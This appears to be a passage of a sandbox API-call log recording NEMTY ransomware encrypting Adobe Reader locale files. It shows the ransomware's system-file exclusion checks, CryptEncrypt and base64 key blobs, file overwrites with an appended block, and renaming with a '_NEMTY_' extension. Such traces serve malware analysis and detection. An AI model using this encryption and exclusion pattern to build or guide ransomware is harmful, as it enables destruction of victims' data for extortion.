pszString="hvsA+43T1IC46LmyAuK5v+mmkZi7x+PtslDPYJVug4MTNIR0X6vwHaQpQgMBEE5J\r\nWOTL1YIRqYrB057j8FXi+SxJkY+4YbosrumlZBqMUulMlaeu2RAzuKEhPVMo9gsW\r\ns04M28/0FrGyhXkIZSB0k3PrG3rsx1taHMbts52+OFPy6oNoYkK9850MZCGz1kU2\r\nyPA3zHWctULIVxtOE4ILv/5ZiKi2MB8SsFdQbkAjSQSLIWLv9mkRFcy661pemPDf\r\nIFgAw6db/idTDn56SeSZ+uJqg9izYhpO3/ZimzHiaMkWYNMD2KhsN3U64Xy9kUyB\r\nY9fIw5BQjDnocPo19L3Jbg==\r\n", pcchString=0x653e5dc) returned 1 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.445] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.446] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0179.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0179.446] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.446] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0179.448] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.448] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0179.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.455] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0179.455] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.455] CloseHandle (hObject=0x2e8) returned 1 [0179.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.456] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor._nemty_kgobjgd_")) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.456] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.KOR", cAlternateFileName="")) returned 1 [0179.456] lstrcmpiW (lpString1="eBook.KOR", lpString2=".") returned 1 [0179.456] lstrcmpiW (lpString1="eBook.KOR", lpString2="..") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="...") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="windows") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="rsa") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="NTDETECT.COM") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="ntldr") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="MSDOS.SYS") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="IO.SYS") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="boot.ini") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="boot.ini") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="ntuser.dat") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="desktop.ini") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="CONFIG.SYS") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="RECYCLER") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="bootmgr") returned 1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="programdata") returned -1 [0179.457] lstrcmpiW (lpString1="eBook.KOR", lpString2="appdata") returned 1 [0179.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.KOR", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.458] Sleep (dwMilliseconds=0x5) [0179.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9d0eb0, dwHighDateTime=0x1d561e8)) [0179.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9d0eb0, dwHighDateTime=0x1d561e8)) [0179.460] GetLastError () returned 0x0 [0179.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.460] GetLastError () returned 0x0 [0179.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.461] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.461] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.461] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.461] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="sGlC0WfvmQnaaTSWJzt7XM60iVLY75h0NMNl+Am5aHLbaNPA06wYoO/v9IZOlLHS\r\n+2chdAGIIrcTljgS3byiYlpLrAlEeLyOUwkRaKGKcNpLiLkz2j+rlN+fSURv6zeM\r\nzTZ9rwsj/0Gv4L9Pxjh1WjRm8KBt3eCKdvMjaNCFnALEiW1qCEGRypOJnpIWd+YH\r\n+dDijuqP+iTCceksO6+B7rayRoXC7iLXnWYRf40pCutyi1jCAm7qgbcKIr5/uI5r\r\nTvVlChxoUSs3OW3gALS/tEH3UT3tcBQDYvqkZGhZaFOGINDZTRYNWwpWiWfeyx0i\r\nmu82M8r8buF+HTDlEKtNCA==\r\n", pcchString=0x653e5dc) returned 1 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.461] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.461] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6144) returned 1 [0179.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0179.461] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.461] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1800, lpOverlapped=0x0) returned 1 [0179.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1800, lpOverlapped=0x0) returned 1 [0179.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0179.464] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.464] CloseHandle (hObject=0x2e8) returned 1 [0179.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0179.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.464] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor._nemty_kgobjgd_")) returned 1 [0179.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0179.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.465] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.KOR", cAlternateFileName="")) returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2=".") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="..") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="...") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="windows") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="rsa") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="NTDETECT.COM") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="ntldr") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="MSDOS.SYS") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="IO.SYS") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="boot.ini") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="boot.ini") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="ntuser.dat") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="desktop.ini") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="CONFIG.SYS") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="RECYCLER") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="bootmgr") returned 1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="programdata") returned -1 [0179.465] lstrcmpiW (lpString1="EScript.KOR", lpString2="appdata") returned 1 [0179.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0179.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.KOR", lpUsedDefaultChar=0x0) returned 11 [0179.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.466] Sleep (dwMilliseconds=0x5) [0179.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9f7010, dwHighDateTime=0x1d561e8)) [0179.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9f7010, dwHighDateTime=0x1d561e8)) [0179.476] GetLastError () returned 0x0 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.476] GetLastError () returned 0x0 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.476] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 